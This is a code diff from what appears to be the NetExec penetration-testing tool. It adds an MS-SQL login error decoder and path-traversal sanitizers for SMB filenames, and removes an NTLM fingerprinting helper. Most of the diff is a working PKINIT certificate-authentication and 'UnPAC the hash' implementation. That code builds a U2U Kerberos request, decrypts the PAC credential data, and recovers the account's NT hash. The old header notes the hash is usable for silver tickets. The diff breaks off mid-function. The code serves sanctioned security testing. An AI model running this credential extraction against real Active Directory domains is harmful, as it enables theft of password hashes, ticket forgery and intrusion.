INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
"""
remaining = len(data) - offset
if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
return None
# Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
if payload_len < 8 or remaining < 3 + payload_len:
return None
try:
token = TDS_INFO_ERROR(data[offset:])
text = token["MsgText"].decode("utf-16le").strip()
except Exception:
return None
return text or None
def login7_integrated_auth_error_message(packet_data, data_after_login_header):
"""Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
When a server does not support Integrated Windows Authentication it replies
to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
NTLMSSP challenge. This helper locates the first ERROR (0xAA) or INFO
(0xAB) token in either the full packet or the payload after the 3-byte
LOGIN7 response header and returns its MsgText.
"""
token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
for buf in filter(None, (packet_data, data_after_login_header)):
for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
msg = decode_tds_info_error_msgtext(buf, offset)
if msg:
return msg
return None
-34
View File
@@ -1,34 +0,0 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
+107
View File
@@ -0,0 +1,107 @@
import hashlib
from pathlib import PurePosixPath
import re
from unicodedata import normalize
def sanitize_path_component(name, max_bytes=255):
"""Return one portable, bounded path component from untrusted input."""
# Reserve enough space for one character and the collision-resistant suffix.
if max_bytes < 14:
raise ValueError("max_bytes must be at least 14")
# Always provide a safe fallback, even for missing or unstringable input.
try:
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
except Exception:
name = ""
if not name:
return "_"
# Replace path, control, and Unicode-equivalent metacharacters.
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
sanitized = "".join(
character if character.isprintable()
and character not in unsafe_characters
and all(
normalized_character.isprintable() and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in name
)
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
while sanitized and (
sanitized[-1] == "."
or sanitized[-1].isspace()
or normalize("NFKC", sanitized[-1]).endswith(".")
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
):
sanitized = f"{sanitized[:-1]}_"
# Avoid Windows device names, including names followed by an extension.
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
sanitized = f"_{sanitized}"
# Bound the byte length with a stable digest while preserving short extensions.
if len(sanitized.encode("utf-8")) > max_bytes:
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
extension = ""
extension_index = sanitized.rfind(".")
if (
extension_index > 0
and len(sanitized[extension_index:].encode("utf-8")) <= 32
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
):
extension = sanitized[extension_index:]
sanitized = sanitized[:extension_index]
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{digest}{extension}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > max_bytes
or normalized in (".", "..")
or normalized.endswith(".")
or normalized[-1].isspace()
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
or any(
not character.isprintable()
or character in unsafe_characters
or any(
not normalized_character.isprintable() or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
return "_"
return sanitized
def sanitize_filename(name: str) -> str:
"""Strip path traversal components from an SMB filename.
Follows the pattern from spider_plus.py — filters '..' and '.' from
PurePosixPath.parts to prevent directory traversal attacks from
malicious SMB servers.
"""
parts = PurePosixPath(name.replace("\\", "/")).parts
clean = [p for p in parts if p not in ("..", ".", "/")]
return str(PurePosixPath(*clean)) if clean else ""
+193 -501
View File
@@ -1,524 +1,216 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
#
# References:
#
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
# Authors:
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
import os
import secrets
import hashlib
import datetime
import random
import base64
import datetime
import os
import random
import tempfile
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from binascii import hexlify
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
from impacket.krb5.types import KerberosTime, Principal, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH, TMP_PATH
class myPKINIT(PKINIT):
def pkinit_credentials(args):
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
if args.pfx_cert:
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
if args.pem_cert and args.pem_key:
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
return None
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
buffers = pac_type["Buffers"]
for _ in range(pac_type["cBuffers"]):
info_buffer = PAC_INFO_BUFFER(buffers)
buffers = buffers[len(info_buffer):]
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
continue
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
cipher = _enctype_table[credential_info["EncryptionType"]]
# Key usage 16: the PAC credential info, encrypted with the AS reply key
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
serialization_header = TypeSerialization1(credential_data)
# Skip the 4 bytes of the ReferentID of the pointer following the header
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
for credential in credentials["Credentials"]:
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
return hexlify(supplemental_credential["NtPassword"]).decode()
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
return None
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
Returns None, after logging why, when the hash cannot be recovered
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
"""
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
realm = str(decoded_tgt["crealm"])
now = datetime.datetime.now(datetime.UTC)
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = realm
seq_set(authenticator, "cname", client_name.components_to_asn1)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
ap_req["ap-options"] = constants.encodeFlags([])
seq_set(ap_req, "ticket", ticket.to_asn1)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
req_body = seq_set(tgs_req, "req-body")
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
req_body["realm"] = realm
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
try:
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
connection.logger.fail(f"Failed to unPAC the hash: {e}")
return None
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
def pfx_auth(self, domain, username):
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
if not self.kdcHost:
